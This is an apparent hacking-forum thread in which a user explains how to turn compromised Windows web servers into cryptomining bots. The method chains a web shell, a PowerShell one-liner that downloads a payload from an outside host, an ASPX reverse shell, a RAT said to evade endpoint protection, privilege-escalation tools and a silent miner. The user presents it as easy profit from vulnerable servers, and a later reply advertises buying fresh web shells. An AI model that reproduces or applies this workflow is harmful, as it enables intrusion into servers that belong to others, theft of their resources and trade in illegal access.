[hydra11]

hello HF this method i going to explain most profitable method in mining for me considering the investment i have made ( 0 dollars ), so today i will explain how you can build a  mining slave from web shell, for this you must need 3 things

1. windows server web shell ( a functioning web shell on a vulnerable windows server )

2. a loader ( bot net or rat  here i use 888 rat because its inbuilt autocrypt bypass sophos endpoint )

3. a silent miner ( you can use private or opensource miner its up to you )



phase:1

after getting web shell you must check for shell command execution permissions, in this case i got unlucky which have very low or null permission to execute command on system level, but it supports simple dir other simple system functions



after checking for some time i find out powershell is functioning



also i got little lucky it supports powershell one-liner so my next step is building a powershell one liner that can download my payload on location i like

Code

(New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip", "C:\Windows\Temp\archive.zip") 

by this i was able to bypass the write permission restriction on web server and loaded my exe in to temp folder, next step is executing my payload

hence my payload is bypassing current endpoint i used reverse shell aspx to build a back connect and execute payload form there




which helps me to send the web server to my rat ( you can also use bot for this, i am using 888 rat for now )

phase 2:

now we have a slave in our server next thing we have to do escalate the privilege and then run our miner




for local privilege escalation am using priv check from GitHub

https://github.com/itm4n/PrivescCheck

if you want you can use other tools or exploits like dirty potato  or sharpsploit

once i power up my implant next set up is running my miner

you can execute your running miner using your bot or rat download and execute function, once everything is done correct, on your miner dashboard you can see the mining hashes







yes this hashes not even come close to a gaming rig slave but this webs server slave is more reliable than a gaming rig slave because once cheat or what ever spreading method used stop working they may reset pc you loose your high investment, in other hand web server will stay online 365x24 and there is tons of vulnerable servers out there if you determined and have enough time its easy to make money as side job

[Yuno]

Happy to see another release from you. This is another good one, keep up the solid work, my friend.

[hydra11]

Happy to see another release from you. This is another good one, keep up the solid work, my friend.

tnx bro, i will soon release botnet over tor tutorial soon

[webshell buyer]

#wtb fresh shell
Need different IP
Can upload and edit
No need subdomain
My process：send domain list > chose > send shell >
check shell > work > pay PM
If you have, please dm
TG [deleted]